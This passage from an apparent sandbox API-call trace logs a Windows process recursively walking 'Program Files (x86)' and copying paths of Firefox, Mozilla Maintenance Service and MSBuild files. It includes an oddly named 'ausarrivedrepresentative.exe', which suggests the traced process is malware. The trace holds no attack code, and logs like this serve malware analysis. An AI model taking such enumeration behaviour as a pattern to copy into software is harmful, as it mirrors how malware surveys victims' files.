returned 1 [0123.848] lstrcmpW (lpString1="softokn3.dll", lpString2=".") returned 1 [0123.848] lstrcmpW (lpString1="softokn3.dll", lpString2="..") returned 1 [0123.848] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.848] lstrlenW (lpString="softokn3.dll") returned 12 [0123.848] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="softokn3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" [0123.848] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned 51 [0123.848] lstrcpyW (in: lpString1=0x24b4870, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" [0123.848] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.848] lstrcmpW (lpString1="uninstall", lpString2=".") returned 1 [0123.848] lstrcmpW (lpString1="uninstall", lpString2="..") returned 1 [0123.848] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.848] lstrlenW (lpString="uninstall") returned 9 [0123.848] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="uninstall" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall" [0123.848] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\" [0123.848] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0123.848] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*" [0123.848] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.849] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.849] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.849] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.849] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.849] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.849] lstrcmpW (lpString1="helper.exe", lpString2=".") returned 1 [0123.849] lstrcmpW (lpString1="helper.exe", lpString2="..") returned 1 [0123.849] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0123.849] lstrlenW (lpString="helper.exe") returned 10 [0123.849] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="helper.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" [0123.849] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned 59 [0123.849] lstrcpyW (in: lpString1=0x24b5638, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" [0123.849] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.849] lstrcmpW (lpString1="shortcuts_log.ini", lpString2=".") returned 1 [0123.849] lstrcmpW (lpString1="shortcuts_log.ini", lpString2="..") returned 1 [0123.849] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0123.849] lstrlenW (lpString="shortcuts_log.ini") returned 17 [0123.849] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="shortcuts_log.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" [0123.849] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned 66 [0123.849] lstrcpyW (in: lpString1=0x24b56b8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" [0123.849] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.849] lstrcmpW (lpString1="uninstall.log", lpString2=".") returned 1 [0123.849] lstrcmpW (lpString1="uninstall.log", lpString2="..") returned 1 [0123.849] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\") returned 49 [0123.849] lstrlenW (lpString="uninstall.log") returned 13 [0123.849] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\", lpString2="uninstall.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" [0123.849] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned 62 [0123.849] lstrcpyW (in: lpString1=0x24b2188, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" [0123.849] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.849] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.849] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.849] lstrcmpW (lpString1="update-settings.ini", lpString2=".") returned 1 [0123.849] lstrcmpW (lpString1="update-settings.ini", lpString2="..") returned 1 [0123.849] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.849] lstrlenW (lpString="update-settings.ini") returned 19 [0123.849] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="update-settings.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" [0123.849] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned 58 [0123.849] lstrcpyW (in: lpString1=0x24b5748, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\update-settings.ini" [0123.849] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.849] lstrcmpW (lpString1="updater.exe", lpString2=".") returned 1 [0123.849] lstrcmpW (lpString1="updater.exe", lpString2="..") returned 1 [0123.849] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.849] lstrlenW (lpString="updater.exe") returned 11 [0123.850] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="updater.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" [0123.850] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned 50 [0123.850] lstrcpyW (in: lpString1=0x24b48e0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" [0123.850] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.850] lstrcmpW (lpString1="updater.ini", lpString2=".") returned 1 [0123.850] lstrcmpW (lpString1="updater.ini", lpString2="..") returned 1 [0123.850] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.850] lstrlenW (lpString="updater.ini") returned 11 [0123.850] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" [0123.850] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned 50 [0123.850] lstrcpyW (in: lpString1=0x24b4950, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\updater.ini" [0123.850] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.850] lstrcmpW (lpString1="webapp-uninstaller.exe", lpString2=".") returned 1 [0123.850] lstrcmpW (lpString1="webapp-uninstaller.exe", lpString2="..") returned 1 [0123.850] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.850] lstrlenW (lpString="webapp-uninstaller.exe") returned 22 [0123.850] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapp-uninstaller.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" [0123.850] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned 61 [0123.850] lstrcpyW (in: lpString1=0x24b2210, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapp-uninstaller.exe" [0123.850] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.850] lstrcmpW (lpString1="webapprt", lpString2=".") returned 1 [0123.850] lstrcmpW (lpString1="webapprt", lpString2="..") returned 1 [0123.850] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.850] lstrlenW (lpString="webapprt") returned 8 [0123.850] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapprt" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt" [0123.850] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\" [0123.850] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0123.850] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*" [0123.850] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.850] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.850] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.850] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.850] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.850] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.850] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0123.850] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0123.850] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0123.850] lstrlenW (lpString="omni.ja") returned 7 [0123.850] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" [0123.850] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned 55 [0123.850] lstrcpyW (in: lpString1=0x24b0ab0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\omni.ja" [0123.850] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.850] lstrcmpW (lpString1="webapprt.ini", lpString2=".") returned 1 [0123.850] lstrcmpW (lpString1="webapprt.ini", lpString2="..") returned 1 [0123.850] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\") returned 48 [0123.851] lstrlenW (lpString="webapprt.ini") returned 12 [0123.851] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\", lpString2="webapprt.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" [0123.851] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned 60 [0123.851] lstrcpyW (in: lpString1=0x24b2298, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" [0123.851] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.851] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.851] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.851] lstrcmpW (lpString1="webapprt-stub.exe", lpString2=".") returned 1 [0123.851] lstrcmpW (lpString1="webapprt-stub.exe", lpString2="..") returned 1 [0123.851] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.851] lstrlenW (lpString="webapprt-stub.exe") returned 17 [0123.851] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="webapprt-stub.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" [0123.851] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned 56 [0123.851] lstrcpyW (in: lpString1=0x24b57c8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\webapprt-stub.exe" [0123.851] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.851] lstrcmpW (lpString1="xul.dll", lpString2=".") returned 1 [0123.851] lstrcmpW (lpString1="xul.dll", lpString2="..") returned 1 [0123.851] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.851] lstrlenW (lpString="xul.dll") returned 7 [0123.851] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="xul.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" [0123.851] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned 46 [0123.851] lstrcpyW (in: lpString1=0x24b5848, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" [0123.851] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.851] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.851] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.851] lstrcmpW (lpString1="Mozilla Maintenance Service", lpString2=".") returned 1 [0123.851] lstrcmpW (lpString1="Mozilla Maintenance Service", lpString2="..") returned 1 [0123.851] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.851] lstrlenW (lpString="Mozilla Maintenance Service") returned 27 [0123.851] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Mozilla Maintenance Service" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service" [0123.851] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\" [0123.851] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0123.851] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*" [0123.851] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.852] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.852] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.852] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.852] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.852] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.852] lstrcmpW (lpString1="maintenanceservice.exe", lpString2=".") returned 1 [0123.852] lstrcmpW (lpString1="maintenanceservice.exe", lpString2="..") returned 1 [0123.852] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0123.852] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0123.852] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" [0123.852] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned 73 [0123.852] lstrcpyW (in: lpString1=0x24b58b0, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" [0123.852] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.852] lstrcmpW (lpString1="Uninstall.exe", lpString2=".") returned 1 [0123.852] lstrcmpW (lpString1="Uninstall.exe", lpString2="..") returned 1 [0123.852] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0123.852] lstrlenW (lpString="Uninstall.exe") returned 13 [0123.852] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="Uninstall.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" [0123.852] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned 64 [0123.852] lstrcpyW (in: lpString1=0x24b5950, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" [0123.852] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.852] lstrcmpW (lpString1="updater.ini", lpString2=".") returned 1 [0123.852] lstrcmpW (lpString1="updater.ini", lpString2="..") returned 1 [0123.852] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0123.852] lstrlenW (lpString="updater.ini") returned 11 [0123.852] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" [0123.852] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned 62 [0123.852] lstrcpyW (in: lpString1=0x24b2320, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" [0123.852] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.852] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.853] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.853] lstrcmpW (lpString1="MSBuild", lpString2=".") returned 1 [0123.853] lstrcmpW (lpString1="MSBuild", lpString2="..") returned 1 [0123.853] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.853] lstrlenW (lpString="MSBuild") returned 7 [0123.853] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="MSBuild" | out: lpString1="c:\\Program Files (x86)\\MSBuild") returned="c:\\Program Files (x86)\\MSBuild" [0123.853] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\") returned="c:\\Program Files (x86)\\MSBuild\\" [0123.853] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0123.853] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\*") returned="c:\\Program Files (x86)\\MSBuild\\*" [0123.853] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.853] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.853] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.853] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.853] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.853] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.853] lstrcmpW (lpString1="ausarrivedrepresentative.exe", lpString2=".") returned 1 [0123.853] lstrcmpW (lpString1="ausarrivedrepresentative.exe", lpString2="..") returned 1 [0123.853] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0123.853] lstrlenW (lpString="ausarrivedrepresentative.exe") returned 28 [0123.853] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="ausarrivedrepresentative.exe" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" [0123.853] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned 59 [0123.853] lstrcpyW (in: lpString1=0x24b59f8, lpString2="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" [0123.853] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.853] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0123.853] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0123.853] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0123.853] lstrlenW (lpString="Microsoft") returned 9 [0123.853] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft" [0123.854] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\" [0123.854] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned 41 [0123.854] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*" [0123.854] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.854] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.854] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.854] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.854] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.854] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.854] lstrcmpW (lpString1="Windows Workflow Foundation", lpString2=".") returned 1 [0123.854] lstrcmpW (lpString1="Windows Workflow Foundation", lpString2="..") returned 1 [0123.854] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned 41 [0123.854] lstrlenW (lpString="Windows Workflow Foundation") returned 27 [0123.854] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\", lpString2="Windows Workflow Foundation" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0123.854] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.854] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.854] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.854] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.854] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.854] lstrcmpW (lpString1="Reference Assemblies", lpString2=".") returned 1 [0123.854] lstrcmpW (lpString1="Reference Assemblies", lpString2="..") returned 1 [0123.854] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.854] lstrlenW (lpString="Reference Assemblies") returned 